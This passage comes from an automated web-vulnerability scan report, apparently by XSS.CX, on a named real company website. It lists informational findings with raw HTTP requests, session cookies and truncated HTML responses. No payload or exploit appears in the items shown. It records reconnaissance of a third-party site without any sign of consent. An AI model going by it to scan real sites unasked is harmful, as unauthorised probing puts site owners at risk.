X-Powered-By: ASP.NET
Date: Tue, 09 Nov 2010 17:49:49 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>
<meta name="verify-v1" content="xQ48cmWmScC+h8Vq4mkp+mpoGDW
...[SNIP]...

7.4. http://www2.syngenta.com/en/products_brands/index.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.syngenta.com
Path:	/en/products_brands/index.html

Request

GET /en/products_brands/index.html HTTP/1.1
Host: www2.syngenta.com
Proxy-Connection: keep-alive
Referer: http://www2.syngenta.com/en/about_syngenta/index.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=102534279.1289324945.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASPSESSIONIDSSSABBCR=NJFBJJLALPOCGKIALDPPGKML; __utma=102534279.1705310206.1289324945.1289324945.1289324945.1; __utmc=102534279; __utmb=102534279.4.10.1289324945

Response

HTTP/1.1 200 OK
Content-Length: 29837
Content-Type: text/html
Last-Modified: Wed, 20 Oct 2010 13:58:59 GMT
Accept-Ranges: bytes
ETag: "2f86ecf15e70cb1:7963"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 09 Nov 2010 17:52:08 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Products & Brands - Syngenta</title>
<meta http
...[SNIP]...

7.5. http://www2.syngenta.com/en/site/contact_us_new_step2_2.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.syngenta.com
Path:	/en/site/contact_us_new_step2_2.htm

Request

GET /en/site/contact_us_new_step2_2.htm HTTP/1.1
Host: www2.syngenta.com
Proxy-Connection: keep-alive
Referer: http://www2.syngenta.com/en/site/contacts.aspx
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=102534279.1289324945.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=102534279.1705310206.1289324945.1289324945.1289324945.1; __utmc=102534279; __utmb=102534279.3.10.1289324945; ASPSESSIONIDSSSABBCR=NJFBJJLALPOCGKIALDPPGKML

Response

HTTP/1.1 200 OK
Content-Length: 21407
Content-Type: text/html
Last-Modified: Wed, 20 Oct 2010 13:59:19 GMT
Accept-Ranges: bytes
ETag: "241cd1fd5e70cb1:7963"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 09 Nov 2010 17:52:00 GMT

...<link rel="stylesheet" href="../../en/css/syngenta_style.css" title="default" type="text/css" media="screen,projector,print" />
<p id="leadText" class="leadText">Syngenta Contact - __Country__</p>
...[SNIP]...

7.6. http://www2.syngenta.com/en/site/countryForIE.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.syngenta.com
Path:	/en/site/countryForIE.asp

Request

Response

7.7. http://www2.syngenta.com/en/site/search_results.html previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.syngenta.com
Path:	/en/site/search_results.html

Request

Response

Report generated by XSS.CX at Tue Nov 09 12:43:41 CST 2010.